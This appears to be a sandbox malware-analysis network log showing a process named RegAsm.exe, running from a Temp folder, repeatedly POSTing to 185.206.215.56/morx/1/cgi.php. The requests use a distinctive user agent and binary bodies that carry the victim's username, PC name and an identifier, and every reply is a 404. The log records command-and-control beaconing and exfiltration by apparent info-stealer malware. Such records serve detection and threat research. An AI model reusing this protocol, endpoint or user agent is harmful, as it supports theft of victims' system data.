Jan 5, 2021 19:06:16.871017933 CET	1173	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:16.967212915 CET	1174	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:16 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.22	49192	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:17.183871031 CET	1174	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:17.246232033 CET	1175	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:17.344388008 CET	1175	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:16 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.22	49193	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:17.566776991 CET	1176	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:17.636620998 CET	1176	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:17.726876020 CET	1176	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:16 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.22	49194	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:17.949146032 CET	1177	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:18.032426119 CET	1177	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:18.134409904 CET	1178	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:17 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.22	49195	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:18.364453077 CET	1178	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:18.433459997 CET	1179	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:18.531193972 CET	1179	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:17 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.22	49196	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:18.788238049 CET	1180	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:18.855551958 CET	1180	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:18.959882975 CET	1180	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:18 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49170	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:08.473301888 CET	1145	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:08.542748928 CET	1146	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:08.645122051 CET	1146	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:07 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.22	49197	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:19.176156998 CET	1181	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:19.246120930 CET	1181	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:19.341244936 CET	1182	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:18 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.22	49198	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:19.576040030 CET	1182	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:19.652189016 CET	1183	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:19.751715899 CET	1183	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:18 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.22	49199	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:19.958724022 CET	1184	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:20.027097940 CET	1184	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:20.125689983 CET	1184	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:19 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.22	49200	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:20.390921116 CET	1185	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:20.466362000 CET	1185	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:20.569029093 CET	1186	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:19 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.22	49201	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:20.950520992 CET	1186	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:21.027319908 CET	1187	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:21.111865044 CET	1187	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:20 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.22	49202	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:21.679579973 CET	1188	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:21.746160984 CET	1188	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:21.837781906 CET	1188	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:20 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.22	49203	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:22.303822041 CET	1189	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:22.371170998 CET	1189	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:22.484252930 CET	1190	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:21 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.22	49204	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:22.694391966 CET	1190	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:22.777329922 CET	1190	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:22.877247095 CET	1191	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:21 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.22	49205	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:23.094146967 CET	1192	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:23.169159889 CET	1192	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:23.267446041 CET	1192	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:22 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.22	49206	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:23.470458031 CET	1193	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:23.543008089 CET	1193	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:23.640826941 CET	1194	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:22 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49171	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:08.887025118 CET	1147	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:08.965001106 CET	1147	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:09.065680027 CET	1147	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:08 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.22	49207	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:23.862730026 CET	1194	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:23.933662891 CET	1194	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:24.026554108 CET	1195	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:23 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.22	49208	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:24.246260881 CET	1196	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:24.324203968 CET	1196	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:24.440570116 CET	1196	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:23 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.22	49209	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:24.648293972 CET	1197	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
